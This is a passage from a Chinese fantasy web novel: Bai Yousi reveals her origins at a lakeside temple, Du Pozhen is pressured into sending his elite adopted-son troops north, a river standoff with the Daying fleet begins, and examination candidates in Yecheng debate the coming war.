而座中其余人倒是莫名有些心慌……这位首席已经多久没有行过诡计了?而且阚棱这种人也能用诡计对付吗?更关键的是,大家伙一起大公无私了一整天,怎么就突然要诡计了? 第七十九章 安车行(8) 秋后。 本意是秋分以后,是一个关于时间节点的简单词汇。 但是,在农业社会,秋后意味着太多的东西……因为秋分同时意味着秋收结束,所以秋后才有了充足的粮食,才有了充足的牲畜,才有了充足的民夫,才避开了酷热……甚至,秋后无名河流的水流会渐渐变缓从而方便通过,而秋后的大河依旧足够充当运输干道。 秋后问斩,秋后算账,秋后开战! 而自三征大败,大魏解体,群雄并起的那个夏天来算,如今已经越过第六年,进入第七年了……或者换个算法,以江都军变,黜龙帮压制河北、司马正回归东都、白横秋西入关中那一年算起,也有三年了。 这三家,该兼并的兼并,该清洗的清洗,该建国建国,该称帝的称帝,该当元帅的当元帅,该立行台的立行台,没有什么余地了,就连东都跟黜龙帮的不战之约都只剩几个月了。 那接下来,无论怎么计较,怎么花里胡哨,若是不动大刀兵,都是难以想象的。 “人生除泛海,便到洞庭波。” 一身素色锦衣的白有思走到真火教那个著名的湖中岛真火观木门前时,忽然驻足,扶着腰中长剑望向了一侧那烟波浩渺。 “白总管说的好。”杜破阵虽然少年时没怎么读过书,也一直以大老粗形象示人,但就连那窦立德都能在短短几年长进这么明显,做了小十年盟主的杜某人当然也不是昔日登州偷羊贼,自然晓得一些风情,懂得一些言语。“这洞庭湖是平生所见的大湖,竟能内中生浪,除却大海,根本想不到哪里能比。” 随行人极多,无论是周边官吏,刚刚降服却还没来得及走的湖南叛军首脑,包括联军下属,哪里缺凑趣的?只是按照身份,最上头的那批人里面有一个就是林士扬,而林士扬这厮凡事必与杜破阵针锋相对,连白有思的脸面都不顾及,所以大家闻得杜白二人说景色,第一反应就是等着林士扬来做讽刺。 果然,林士扬随即冷笑:“杜盟主也知湖海之大吗?” “杜龙头自登渐淮,自淮入湖,生平种种,堪称湖海豪气,如何识不得湖海之大?”白有思似乎是被林士扬的姿态给弄烦了,直接来做驳斥,甚至是训斥。 林士扬也晓得过犹不及,便只负手冷笑。 而白有思依旧立在木门前,望湖兴叹:“倒是我,记事起便在西都,然后少年上太白峰学艺,青年往东都入仕,一直在暴魏朝廷与关陇贵种里往来,虽见识了不少人物,却不晓得天地之大,一直到这些年,东游两海,北进天池,南入洞庭,才稍微有所见识。” “不管如何,白总管既晓朝堂,又知草木,到底是比我们这种草莽只晓得湖海之气强多了。”杜破阵当然要捧回去。 “我可不止是又知草木,当日我去东夷,还知道了另一件事。”白有思缓缓道来。“杜龙头,你晓得吗?彼时竟有人专门告诉我,我只是被我那位大英皇帝的父亲收养的螟蛉之女,其实另有身世。” 周边所有人几乎全都目瞪口呆,不少人更是本能去想,怪不得这对父女竟然生分到如今刀枪相对……但转念一想也不对,因为按照这白娘子说法她是去东夷那一回才晓得这事的,而在这之前就已经是黜龙帮的人了。 所以,是白横秋一开始就主动排挤这个厉害过头却非亲生的女儿? 这老头这般小器还能做皇帝? 没错,惊愕、混乱、怀疑,最后的不解。 而正混乱着呢,简直让他们慌乱的信息又来了。 “他们说,当日我父亲随杨斌伐陈,就在这巴陵城破敌后,于这湖中真火观内,在一个要点燃的柴火堆上寻到了我,从此带回家抚养。”白有思平静叙述,仿佛是在说别人的事情。“他们还说,赤帝娘娘看顾我,在妖岛给我存了位置,想让我去妖岛做领袖,远离这中原是非……只是我没答应罢了。” 此时堪称秋高气爽,洞庭湖上更是微风澜澜,波浪轻涌,但这木门旁的空气却似乎凝固了一般。 对于在场的聪明人来说,很明显有一个“这是胡扯”到“她没理由胡扯”的反复震荡过程。 因为真没必要呀! 就湖南诸侯这点歪瓜裂枣,值得吗? 而且当着这真火观的大门说什么赤帝娘娘的安排,不怕被嫉恨? 所以……是真的? 苏车还在发懵,另一名降将许玄忽然想到什么,神色激动:“是这样的,张大哥曾说过,当日巴陵守将既是南陈大将又是我们真火教嫡传,几乎被认为是下一任教主,所以当日杨斌跨江而下,湖南则倾全力以助巴陵。最后还是兵败,湖南子弟中的精华尽丧,而那守将之前将妻子与刚刚出生的女儿安置在这里,说是一旦兵败,就举火**,结果人**,却没有起火。事后教中又与暴魏媾和,所以才让湖南与他们离心离德……我记得那大将是姓吕……” “姓什么无所谓。”白有思制止道。“我来这里多日,已经查探的清楚了……而且这件事情,我若不认似乎个人境遇更好,只是既然到了这个地方,若不坦诚反而可笑……我说出来,只是因为确乎有这么一回事罢了。” 众人不免凛凛,而湖南降将们虽然被封了嘴,却忍不住相互挤眉弄眼……他们本就是败兵之将,若是能直接寻到这条路又如何? 巴陵降人转运到淮西当然可行,但若能留在湖南襄助这位又如何? 林士扬也没有觉得太过于难以接受——毕竟湖南降人虽然是自己谋划的对象,可按照他的思路,无论如何这洞庭湖周边的降人降将是轮不到他吃的,他要吃的是湘水上游几家势力。 没错,即便是他,思来想去的,也觉得白有思说的是实话,并不是刻意要抢自己嘴里这三两肉。 白有思丝毫不管这些人的想法,直接转身走入那木门中,然后来到当面的巨大火盆之前,拍了拍手,然后合十,却是扬声来做祈祷:“至尊在上,自唐室南渡,天下已纷乱数百年,暴魏无德,不能守大业,以至如今又遭离乱,今日回初生之地,又见真火熊熊,唯愿天下重新一统,早得安泰,不使黎庶受苦,不让妇孺乞活,愿将来天下太平时刀剑为犁,真气铸堤,人人化龙。” 说完,也不再割什么衣角衣袖,只从腰中取下来时准备好的一个小囊袋,将一些今年新收之粮米倒入火盆中。 烈火受粮,初时哔啵作响,继而有微微爆焰,这都是正常现象,但接下来,爆焰既起,非止不落,哔啵声竟越来越密集,彷佛里面投入的不是一小把,而是源源不断的粮食一般。 再往后,并没有超出大家的预料——爆焰越来越大,以至于在小岛的上空形成了一只威凤,继而一飞冲天,直奔云霄之上。 很显然,赤帝娘娘的真火再度对白娘子的祭祀给予了明显的回应,但有人想起白有思之前的自陈,猜度这可能是宗师自为的异象也说不定……唯独若是人家这么做了,至尊也不发怒,岂不是说明至尊也认呢? 就这样,众人心思复杂,随着白元帅进入观中。 此番过来,一则是要做祭祀,二则是要讨论如何处理洞庭湖降人与家眷……祭祀是虚的,后者才是要害。 不过,白元帅入这观前先曝身世,不免让人觉得她这是志在必得。 实际上也的确是志在必得,林士扬的反对看起来很强硬,但是他的私心不在这里,更不要说他本身与黜龙帮有密约了,而萧烁带来的扬州方向意见却是反而对白有思这边起到了推进作用——萧辉明确拒绝湖南诸侯往淮西的迁移,真这样肉就被端出去了,事到如今,湖南叛军要么降,要么死。 换言之,相对于之前的方案,萧辉更加能接受白有思现在就地改编湖南叛军,然后抵抗大英的方案。 当然了,这是萧辉之前得到巴陵相关处置结果后的反应,如果他知道了白有思的身世是否还是这个反应就要另说了……但真要另说的话,这件事也不是萧辉愿不愿意就能决定的。 一番讨论下来,在已经投降湖南叛军的主动迎合下,最终达成一致,苏车以及巴陵守军不再折返,还有他们的家眷也都一并送往淮西;而许玄为首的洞庭湖降兵以及他们的家眷就地安置,接受改编。 当然,白有思也做出了某种表示,愿意让这些降人统一编为一军,并以萧烁为总统。 当日大约议定,已经到了下午后半段,众人也不好摸黑渡船回去,更兼此地到底是洞庭湖中有名之地,白元帅下令就在这岛上处置降人,将降人分批分类送来整编处置,再运到岸上。 众人恍然大悟,便也安心住下。 而到了傍晚时分,第一批降人便先送来,一起抵达的还有远处依稀可见巴陵城来的信使、文书、粮食、钱帛,甚至还有工匠去了旁边最近的一个岛上修理装备。 一阵纷乱不提,到了晚上,押送第一批降人的淮右盟副盟主、黜龙帮大头领、杜破阵的生死兄弟辅伯石便来寻到了杜破阵。 “是真的。”灯火下,杜破阵当然晓得对方要问什么,便趁着外面嘈杂将白日的事情说了个清楚。 辅伯石沉默片刻,不由来问:“她此时将身世抛出来,是为了收拢湖南降人的人心?” “必然有此意,但要我说也是顺势而为,是到了这地方必要对上这个身世,便干脆等打完这一仗立好了威,该施恩拉拢了再说出来。”杜破阵认真道。“人家到底是宗师第一,是黜龙帮靖安部的总管和龙头,这个身世如何也就那样了。” 辅伯石想了一想,继续认真来问:“她这般设计,必然是觉得秋后要动大兵,大英的人要顺流而下来迎她了,若是那般,你有什么念头?” “老辅你是怎么想的?”杜破阵迟疑了一下。 “现在无外乎是两条路,一条是去湘水上游,另一条是留在洞庭湖这里……我觉得应该留在这里。”辅伯石一如既往的干脆。 “为什么?” “去湘水的话,咱们的人水土不服,语言不通,风俗也不顺,水军也没了用武之地,偏偏还要跟本地人相争,而且还没了动弹的余地……到处都是不利;反倒是留在这里,帮着白总管对付大英的人,总有功勋可以做兄弟们日后的出路。”辅伯石努力劝道。“老杜,不要再乱走了,黜龙帮对咱们一直留着余地,咱们也该心里有谱。” “老辅想什么呢?”杜破阵干笑道。“如何能去湘水?你说的对,只留在洞庭湖这里才行!不打仗,不显出本事来,不立下功勋,谁都小瞧你。” 辅伯石松了口气,就行认真言道:“既如此,你写几封文书来,好去安抚军心。” “军心已经动摇了吗?”杜破阵猛地一惊。 “你为何觉得不会动摇?”辅伯石气急。“从南下开始,大家之所以没有动摇,只是因为白总管在这里,因为徐州行台一起来人了,以为咱们是跟着黜龙帮、跟着大明,与南梁一起结盟来对抗大英……老杜,我说句难听点的话,要是一开始按照你的意思径直南下,咱们淮右盟在淮南就**了!” 杜破阵沉默片刻,缓缓来言:“便是那样,也有人跟我走的。” “就是因为有人会跟你走,才会**!”辅伯石咬着牙瞪着眼压着声音来对。“老杜,没了淮右盟,只你的一万义子军,黜龙帮就只把你当流寇了!” 杜破阵缓了一下,猛地反问:“你要我如何安抚?” “既要安抚那些家在淮上的老资格,也要安抚义子军,你写几封信吧……”辅伯石恳切言道。 杜破阵点点头:“你说的对,无论如何要系住淮右盟这艘船,我这就写,你……” 话到一半,他又停下,然后认真来问:“老辅,你说白总管将我放到这岛上,是不是有些说法?” 辅伯石迟疑了一下,然后蹙眉来问:“你是说她想将你软禁,然后有所施为?” “不至于。”杜破阵自己立即摇头。“上岛的又不只我一人,眼下的局势还是收降洞庭湖周边叛军为上,便是禁住我,怕也是防着我趁机抢夺一些兵员,占据一些地方,而越是这个时候越不能惹出祸来……我现在写信,你带出去给阚棱、老岳他们,让他们安分些。” 辅伯石连连点头,而杜破阵就在灯下摊开纸笔,一边写一边问辅伯石一些事情,中间辅伯石也指指点点的,要杜破阵这里改的委婉一些,那里改的严厉一些。 折腾了一晚上,二人同塌而眠,到了翌日,两人又一起去见白有思,说些军务,然后免不了与林士扬争吵,但岛上委实忙碌,辅伯石待到下午,便也要离去,杜破阵自然又去送。 临走之前,辅伯石到底是没有忍住,拉着对方手恳切来言:“老杜,我还是那句话,淮右盟是咱们的根基,千难万难一定要维系住整个淮右盟,这样你我乃至于所有兄弟才能有个结果。” 杜破阵深以为然,只执手相送。 人既走,又忙碌一日不提,到了第二日早上,随着巴陵城那边又一支船队过来,白有思立即单独召见了杜破阵。 “杜龙头,首席那边有大行台的指令给你,让我把这个东西借你一用。”白有思先将文书递给对方,复又从腰间取下一物,正是那个罗盘,然后还稍作解释。“此物之神异,不亚于王怀绩的神镜,我师父的卜棍……若你心中有惑,执此物念动咒语,便能指向心中所欲……若遇迟疑不定,此物最能破局,但要小心,一旦使用此物,便有杀身之祸,非大毅力与大决心不能渡过。” 杜破阵怔了一下。 毕竟嘛,他跟张行也认识六七年了,又算是黜龙帮编外高层,自然晓得这个罗盘……不过这个东西让自己用一用是什么意思? 而很快,这位淮右盟盟主就猜到了一种可能,那就是对方对自己厌倦了。 那位首席厌倦了淮右盟这种反复的脱离黜龙帮又藕断丝连的状态,厌倦了自己这种始终放不下“野心”却若即若离状态……现在要自己给他个痛快答复。 杜破阵又看了一眼,信是真的,来自于张行亲笔,而且还有大行台的文书总管陈斌、帮务总管雄伯南的联署,那罗盘应该也不是假的,因为白有思此番南下一直带着,杜破阵见过两次……这下子,杜盟主真有些畏惧了,他既对张行和黜龙帮现在这种态度感到畏惧,也对自己真正的想法感到畏惧。 过了好一阵子,眼见着对方根本不接罗盘,白有思便先放下罗盘到身前案上,然后起身绕到对方身后负手来言:“其实我也不愿意用这个东西,平白无故的,只是前途混沌,如何就要拼却生死?不是说它没用,真到了无立足之地,无一线生机的地步,这就是天底下最厉害的宝贝,但依我说,三郎跟大行台那里太着急了,咱们之间不至于到这个份上。” 杜破阵心中猛地松了一口气,无论如何,身为黜龙帮直接对接自己和淮右盟的白有思态度和缓,似乎本就是唯一能摆脱如此困境的门路。 一念至此,其人内中强压不安,直着身子勉力来言:“白总管,在下晓得,这是大行台那里疑淮右盟了……但你亲身在此地,便该晓得我们淮右盟堪称尽心尽力,并无半点离心之举,如何便要疑我们?黜龙帮已经强横到不能容人的地步了吗?” 说到后来,竟有些义愤填膺。 在对方背后的白有思不慌不忙:“杜盟主想多了……大行台何曾疑过淮右盟?只是三郎疑你杜破阵罢了。” 杜破阵陡然一滞,旋即干笑:“我与张首席是贫贱之交,连淮右盟都是他助着我立起来的,如何会疑我?” “那就是大行台疑你了。”白有思即刻失笑。“不然呢?” 杜破阵终于语塞,然后也只能苦笑摊手:“如此,我又能如何?” “罗盘不过是个态度。”白有思认真道。“杜盟主,大行台其实也只是要你的一个态度……要我说,你去邺城如何?就说自己是看着罗盘去的。” “若是看罗盘,断不会指着邺城。”杜破阵知道关键时候到了,不由喟然以对。“白总管,我也不瞒你,我之所以显得如此游离于黜龙帮,说到底是放不下淮右盟,我这个人前半生就是个一事无成的废物,后来稍有结果,一身的荣辱生死,亲友经历,全都在淮右盟上,而淮右盟又有自己的经历,到底不是黜龙帮的一个分舵……所以我不用什么罗盘,也都知道这个指向就在此地,因为淮右盟就在此地。” 白有思思索片刻,复又摇头:“便是你说的有道理,可大行台的意思已经到了,你总要做表示才行,走一遭又算什么?” “白总管,不是我推辞,也不是我危言耸听,而是说,现在不止是我离不开淮右盟,淮右盟也离不开我……大家刚刚来到江南,人心不安,一旦我去了邺城,怕是要引起误会。”杜破阵赶紧解释。“这也不是什么威胁,我晓得白总管的本事大,能压住他们,可人心一旦离散,便再难收拾……何必非要做这种亲者痛仇者快的事情呢?” “好话坏话都让你说完了。”白有思摇头不止,同时转回座中重新坐下,面对面来问。“可是杜盟主,我只问你,你这般软硬不吃,看起来无懈可击,但真能应付大行台?大行台凭什么信你的话,而不是以为你在挟淮右盟自重?” 杜破阵小心来对:“无论如何,白总管总是明白我心意的。” “我俩明白没有意义。”白有思再三摇头。“如今大战在即,天下再无余地让你们这些纷杂势力自立的,若是大行台的几位龙头认定了你三心二意,仅仅是为了消除危险,三郎那里怕也要顺势而为行雷霆之势的……你得做出实际的事情来。” “要不,让老辅去一趟,把我的意思说清楚。”杜破阵愈发小心。 “我觉得不行。”白有思笑意渐消。“老杜,大行台忧虑的是你,不是辅大头领。” 杜破阵心彻底沉了下去……没办法,邺城那边突然发难,他委实措手不及,不是没有反抗的手段和余地,就是让淮右盟里面闹起来嘛,大家一起在人家腹地,前有狼后有虎,闹起来怎么都好说,但现在被困在岛上,他孤身一人,连传信都要通过他人,如何能应对? 实际上,杜大盟主现在已经怀疑,这一遭上岛去船,宗师压阵,本就是对方为了今日对付自己做的预设手段,反倒是收编洞庭湖叛军是顺便来做。 真要是这样的话,那自己怕是逃不脱的。 然而,杜破阵到底是从一个偷羊贼一路厮混到标准的一方诸侯之辈,如何能被困境吓住?他只是稍一思索,便也干脆起来:“若是连白总管也觉得我三心二意,便将我绑起来,打断了双腿,送到邺城便是……我绝无二话!” 白有思冷冷以对:“你以为我不敢吗?” 杜破阵心下一惊,本能想要服软,却又硬着头皮撑住:“人为栈板,我为鱼肉,难道还不许鱼肉挣扎一下?” 白有思盯着对方看了一会,忽然失笑:“我不过是个暂署的龙头,还没转正呢,如何打断你一个正式龙头的腿?不过杜盟主,你也不要觉得此事就能硬扛过去……这样好了,让辅大头领走一趟,带上两千义子军,然后再请李子达大头领带着他那一营兵回来,这样大行台那里或许就能察觉到你的诚恳了。” 杜破阵一愣,立即意识到这是钝刀子割肉,义子军是自己最后最根本的倚仗,这一来一去不说,更关键的是,这五分之一的义子军一旦在北面学王雄诞改了念想,再放回来就能把整个义子军拖住了。 到时候,自己怕是真挪不动淮右盟了。 “何必义子军……”杜破阵本能反驳。 “这是最后的条件。”白有思肃然道。“义子军出发,到了淮西,你再下岛……不然的话,你就去邺城,若是邺城你也坚决不去的话,黜龙帮将会正式公告天下,废除你的龙头身份,开除是帮,同时任命我来兼领淮右盟。” 杜破阵沉默良久,缓缓颔首:“那就这么办吧!可我不下岛,怎么让义子军信服?” “我不信你没有跟义子军专向联络的信物或标记。”白有思语气更加冷冽。“杜龙头,事到如今不要再**手段……大行台那里不是突发奇想不能容你,是大局紧迫,不能不一一排除障碍,你千万不要把自己弄成障碍。” 杜破阵一声叹气,终于从腰中掏出一件物什来。 白有思难得一愣:“ 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阚棱不敢怠慢,亲自端详金锥一番,然后方才拱手:“辅伯,父亲大人还有交代?” “有。”辅伯石肃然道。“你父亲让我告诉你两个要害,其一,这件事虽然是被人猝然逼到墙角上,但实际上也不可避免,因为秋后北面三强必然全面开战,这个时候邺城那里必然要挨个排除周遭起伏,确定敌我,而我们淮右盟再怎么计较,也不可能弃黜龙帮去投大英的,更不可能投奔东都,而南梁这里又不成器,所以反而要与黜龙帮,与大明,与张首席站在一起,而且要站的稳,站的定!” 阚棱思索片刻,喟然以对:“是这个道理,到了这个份上,怕就只有这条路了……那还有呢?” “还有就是……你父亲觉得,咱们要为将来考虑了。”辅伯石重重叹了口气。“他既担心帮里人心不齐,也就是你们跟那些淮上豪强们之间不和,又担心将来黜龙帮不能容我们……” “这倒不是现在,平日里父亲就一直担心这些。”阚棱幽幽以对。 “所以,他希望你能亲自带领这两千人与李子达做交换。”辅伯石恳切来言。“还希望你能在北面的大战里做下功业,替淮右盟打出名号来。” 阚棱一愣,然后低头看了下手里的金锥,许久不语。 辅伯石也不敢多言,也只能沉默相对。 过了好一阵子,阚棱方才开口苦笑:“父亲平日里一再说,要我一定拴住义子军……如今竟猝然变了主意!” “你想听实话吗?”辅伯石闻言,忽然也轻笑了一下。 “请辅伯指教。”阚棱明显有些失神。 “那是因为我一力劝他如此的。”辅伯石言辞愈发恳切。“我跟你说,白总管把他带到岛上再将邺城的文书摆出来,再让我去劝,是有把他监控起来,乃至于挟持意味的……而他虽不能说心有愤愤,但总归是有顾虑的。” “正是此意。”阚棱赶紧来言。 “而我对他说,张首席这个人,虽说有些规矩是糊弄来的,是后补的,是装模作样的。”辅伯石语气竟重新振作起来。“但总归是讲规矩的……而黜龙帮到现在,所有龙头却只有一人是坏了事的,正该以此为戒。” 阚棱恍然:“不错,正是此意!难怪父亲也无话可说!只要我们前面奋战,无论如何父亲都坐稳了一个龙头!辅伯,我这就准备,赶紧动身!正好随之前巴陵城的家眷一起走!” 辅伯石只是颔首。 倒是阚棱想起一些多余的事情:“那这金锥?” “你父亲也没说……”辅伯石想了一下后,干脆摆手。“你自己收着吧!” 阚棱终于也无话。 且说,义子军是淮右盟的精华,而阚棱所选两千人更是精锐,他们说走就走,随那些家眷一起动手,过了安陆,得到本地补给,更是甩开余赘,加速前行,不过八月下旬,便重新回到了他们朝思暮想的淮西故地。 这还不算,转到谯郡,进入到內侍军辖区后,更是遇到了等在这里的李子达部,双方会师再分别,李子达同时向阚棱传达了具体军令,他们这两千义子军改为黜龙帮特行的营将制度,却是要去邺城换装,同时受大行台直接指派。 再往前走,黜龙帮沿线境内多有兵站,义子军行动更加迅速,九月上旬,便抵达大河前。 这个时候来迎接阚棱的,赫然是王雄诞。 兄弟二人相会,各自心中感慨万千,却都压制住多余感情,只说公事……便是驻地、装备、序列划分这些事情说完,也都压着不谈过往,反而只说当下局势。 “为什么到九月,还没见大英出兵?”白马渡口前公房廊下,坐在桌案旁的阚棱当先来问,这不是部卒渡河时的没话找话,而是他真的好奇。 “这件事无外乎两种可能。”王雄诞笑道。“其一,大英想跟我们拖下去,等双方实力有了差距,再来打我们……但这个可能却不大可能……” “为什么?”阚棱好奇抢问。“不是说那位当庐主人卡在大宗师的门前,就差一口气吗?拖一拖也正常吧?” “怎么可能?”王雄诞摇头道。“当庐主人要成大宗师,可他们难道不怕白总管跟我们首席、天王哪位先成大宗师?大英国主跟那位元帅的年龄跟我们首席、白总管、雄天王的年龄摆在那里,拖下去,肯定是他们耗不住。而且,大英自诩继承关陇天下,视夺天下为己任,而关陇豪族因为暴魏灭亡而收缩关中一隅,也是忍耐不住的。” “原来如此。”阚棱愣了一下,语气复杂。“你跟当年比长进多了。” 王雄诞一时尴尬。 “还有呢?”阚棱继续来问。“若是大英不准备拖下去,为何不出兵?” “当然是因为他们要从秋后开始,尽全力动员全国,合大军、总精锐四下而出。”王雄诞摇头道。“不然还能是什么?” 阚棱点点头,依旧追问:“若是这般,邺城那里张首席也该准备妥当了吧?我来时见到沿途兵站也已经动作起来。” “邺城那里自然是准备妥当。”王雄诞面色古怪。“但张首席却不在邺城……” 阚棱点点头,以为那张首席行程机密,对方不好说,便也没有多问……但也不禁感慨,不管如何,两人关系到底是不能回到从前了。 然而**的是,非但张行去给滹沱河修最后一层内中夹堤不是什么机密,便是王雄诞此番也是有心想要将昔日兄弟给安顿好,重叙旧情的……只不过,王雄诞恰好是极少数晓得对方根本是被骗过来的人,所以有些尴尬罢了。 没错,阚棱是被骗过来的。 杜破阵从来没想过要让这个能替自己统帅义子军的首席大将亲自过来,但架不住张首席故技重施,再用金锥计,然后借着辅伯石这个心向黜龙帮的淮右盟二号人物,硬生生把阚棱骗过来了。 实际上,阚棱等人到淮西的时候,杜破阵就已经知道情况了……只是白有思、辅伯石当面道歉外加张行书信道歉给足了他脸面,再加上最重要的一点,那就是木已成舟,阚棱也不可能回来了,那杜盟主竟也只能在颓丧之余接受这个事实了。 不然呢,他还能扔下尚有八千义子军与过万水军的淮右盟主体去投降大英吗?大英在哪儿呢? 此时唯一能做的,就是感慨张首席这阴谋诡计的手段不亚于当年罢了! 而到了九月上旬,也就是阚棱渡过大河抵达河北,在北方还没有动静的时候,大江之上,联军所属水军忽然遭遇到了大英的水军。 位置就在联军刚刚控制的江陵城上游,在大英控制的夷陵下游,几乎是一个巨大江心洲的枝江县境内。 白有思不敢怠慢,她做出了让林士扬等人期待已久的安排,以林士扬为主,南下湘江,招降剩余湖南叛军,以辅伯石守巴陵,控洞庭与下游水道,她本人亲自带联军主力,逆流而上,直奔江陵。 这日上午即将抵达江陵时,便确定枝江已经丢失,但对方主力支援尚未抵达,于是白有思毫不犹豫,下令全军继续夹江逆流而上,乃是过江陵而不入,直扑枝江。 联军逆流,到底有些缓慢,而这个时候,两岸秋色已经完全遮不住了。 但上下几乎全员都没有人观赏景色,反而全都往江中去看……原来,江中废弃木料、破旧渔船、刨花竟然接连不断,俨然是上游大英水军主力已经出动,甚至很有可能已经抵达枝江。 毕竟,人家是顺流而下。 于是乎,军中大将,杜破阵、周效尚、王厚等人都来询问,是否要折返江陵,据名城与之相对。 对此,白有思接连驳斥,一意孤行,她认为很有可能是英军主力为了掩护占据枝江的英军先锋所行疑兵之计,而且,便是对方主力过来,也完全可以野地顶住两岸,再行对峙,没有理由轻易弃战。 果然,又走了十数里,那些木料、破船、刨花就已经不见,抵达枝江,大军登上那巨大的江心洲,也没有遭遇见到对方水军主力,而且随着水军陆军占定位置,继续推进,位于江心大洲上最西段的枝江城也被英军果断放弃。 但也仅仅如此了。 随着这支英军兵马收拾船只撤离到大江南侧与枝江城面对面的松滋城时,西面上游水道上忽然鼓声隆隆,继而数不清的黄色斗舰出现在开阔的江面之上,最后簇拥着一面巨大的楼船,上挂着一个黄底龙纛,单书一个赤色韦字! 非只如此,相隔极远,众人远远便看到有一团黄云腾空而起,在那楼船之上翻滚肆虐,张牙舞爪。 时值傍晚,两岸并江上金黄一片,又有秋风滚来,两岸树木一起哗动,落叶无数,配合着江中这番景色,真真宛若神仙驾临。 杜破阵等人无不变色。 “无边落木萧萧下,不尽长江滚滚来。” 枝江城上,当此情形,白有思竟然扭头望着两岸落叶之树,吟了一句不相干的诗。“如此胜景,三郎诚不欺我。” 周围诸将只是口干,不能奉承。 PS:感谢暮流清溪一叶舟老爷对绍宋的上盟。 第八十章 安车行(9) 九月间,大明-南梁联军在剿灭収降洞庭湖叛军后,迅速于上游遭遇到了入侵的大英主力水师,双方兵力各自达到五万之众,充塞江岸,对峙于枝江-松滋之间,一时天下震动。 因为谁都知道这意味着什么——天下四分,最强者莫过英明,而两家背后的黜龙帮与关陇这两个军政实体注定要爆发全面战争,所以这突然出现在远离双方统治中心大江之上的战斗,也注定只是一个方面战场而已。 军情被极速传递,大江下游的萧辉与操师御最先得知情况,萧辉旋即下旨,要操师御御师西进,务必抵挡大英,掌控局势,而操师御接到旨意之前就已经开始对江东进行全面动员,却在接到旨意后反而陷入到了某种迟疑之中。 没办法,谁都明白,接下来的大战将会决定很多人、很多团体,包括几个主要政权的生死存亡,谁心里此时都要翻腾。 消息晚了两日传到邺城,邺城内,最为翻腾的一群人赫然是今年参加科考的文修们。 且说,今年这批参加科考的,被邺城人笑称为“老的老,小的小”……没办法,前两年观望形势的漏网之鱼,河间、幽州以及北地等新附地中那些之前没有入仕但有入仕需求之人,这些人能不老吗? 而除此之外,便是相当一部分约莫十**岁,刚刚成年想要寻求入仕机会的年轻人,这能不小嘛? 但有意思的是,因为之前普遍性被黜龙帮强制筑基,所以便是这些小的,竟也个个有修为,都能称之为文修。再加上这些年轻人个个跃跃欲试,年老的个个自诩怀才不遇,那当然会翻腾起来。 “江南那边胜负如何?”秋风和煦,可漳水畔的一家酒楼三层上,几名年长纶巾者却明显不安,以至于屡屡望向上游那高耸的三台。 实际上,正是因为此地能望见临漳三台且与三台“共饮一江水”,所以才会受到这些科考文修的青睐。 “这谁知道?”旁边人无奈。“白总管号称宗师第一,可莫忘了,那当庐主人根本就是半步大宗师……谁知道跨没跨过去?” “一军之胜负,乃至于江南之归属,竟然系于两人修为吗?李兄,你家去年才从蜀地搬来,可晓得一些说法?那韦胜机到底什么修为?” “诚如你们所言,韦胜机早早有说法,几乎人人都说他是下一个大宗师,可要我说,胜负系在修为上未免无稽,应该修为系在胜负上才对,若那韦胜机能破了白总管,然后顺流而下,便是下一个杨斌,是大英的天下仲位!而若是白总管能逆流而上,便也能威凤展翅,天下无双了!”被问到的那名中年人倒是自有判断。 “是这个道理。” “你们想着千里之外的事情作甚,莫忘了咱们是来干嘛的,关键在何处?在江南一开战,这里马上也要开战,要是明日就开战,这糊名科考不会耽误吧?” “便是打仗也不会耽误的。”那名姓李的中年人依旧镇定。“打也是往东都那边打,最多在汲郡、河内一带开战,而晋北和武安早就打了,大不了前面打,后面考便是。” “这倒也是。”又有人叹道。“与之相比,我倒是更在意这一次张首席会不会亲自过来监督取士……若是张首席不来,又因为战事影响连魏国……连魏公都不参与,咱们这一回岂不显得便宜?” “这有什么便宜的?”还是那中年人昂扬一点。“前面战事激烈,反而省了许多混杂之事……到时候,不拘是军中还是地方,文书还是参军,直接就用了。” “非只如此,你看那些小的便也知道,这科考怕是要稳稳办下去的,是连着张首席那强制筑基大政的,所以越早越好,不能跟后面相比。” “文书、参军三年,然后军中或地方三年,再去大行台数月,再出来,就是一任县主官……是也不是?” “不是。”有人更正道。“你说的是中下等的录入,考的好的,前十名二十名直接在大行台各部公干,更好的前几名直接发到几位总管那里做贴身文书……这种人一出去就是县君,只要没大岔子,再三年便往登堂**走。” “原来如此。” “可惜……我年岁已长,便是考中此生怕也难登堂**了。”一名只是认真听人说话的须发花白者忍不住捻须摇头。 在坐的都是所谓“老的”,最起码也算是中年人,而且都是家里富庶的,便是没那么极端,自然也都有些感同身受,不然也不会聚在一起了,所以此言一出,不免触动各自心思,便也一起安静下来。 孰料,这边安静下来,却衬得下方二楼里那里喧嚷起来——静静去听,竟然是那些年轻文修们,他们到底年轻,包不起三楼的酒席,只能在二楼的大堂里指点江山,但也因为年轻,所以肆无忌惮,声音都压到三楼来了: “要我说,最好是投军!军功第一!” “我晓得你的意思,但今时不比往日,黜龙帮家大业大,规制都齐全了,便是投军,也不可能有当日直授头领的前途……” “那也比留在后方做刀笔吏强!” “这倒是……” “而且还有个说法,若是能覆灭司马氏或者白氏,就好像当年关陇随便一个子弟都能来咱们河北直接登堂**一般,咱们为何不能反过来?” “咱们还真不好反过来……首席一再说了,咱们黜龙帮黜的就是这种专利之龙,岂能自己再做?便是头领也要按地方分配的。” “便是如此,多了许多地方,咱们又入了帮,得了进士的名号,执事的身份,也胜过那些人许多,省下三五年早早做个县君又如何?” “这倒是……” “你总是这倒是……” “这些年轻人竟不晓得军事凶危。”听到这里,三楼一名年长者终于忍不住低声开口调笑。 “军事凶危是晓得的,之前河北弄成那个样子的时候,他们也都懂事了,哪个没有亲身经历过生死,哪个没见识过军事?关键是不懂得军事艰难!这不是之前张首席开辟河北的时候了,关陇自成一体,跟咱们河北斗了不知道多少年……哪里这么轻易拿得下?” “这是实话……” “拿得下!”就在这时,二楼似乎是在回应三楼一般,毕竟这群年轻人个个筑基修行,耳聪目明,但也有可能只是下方也在争论相关议题。“一来,暴魏虽然残暴,但到底差点一统过,从那以后,人心思定,都晓得应该一统,而不是**地方,只不过要换个如张首席这般全天下之利的人来当家罢了,所以张首席才会创建黜龙帮,所以这一战大家竟全然有所预料……说句不好听的,便是白横秋也想着一统天下,否则何必这般汹涌来攻?!” “是极!是极!”便是三楼也有人忍不住开口赞同。 “二来,这种国战拼的不是一个大宗师几个宗师的机巧,比的是双方全力……”下方声音继续传来,而且越发昂扬。“如何能调度全力?自然是利天下者合天下力!而我们黜龙帮素来利天下,能动之力跟他们只利关陇豪族的大英比自然更强更大!所以这一回,或许战事有反复,临阵有机巧,可最终胜者必然是我们!而且只在三年五载!” 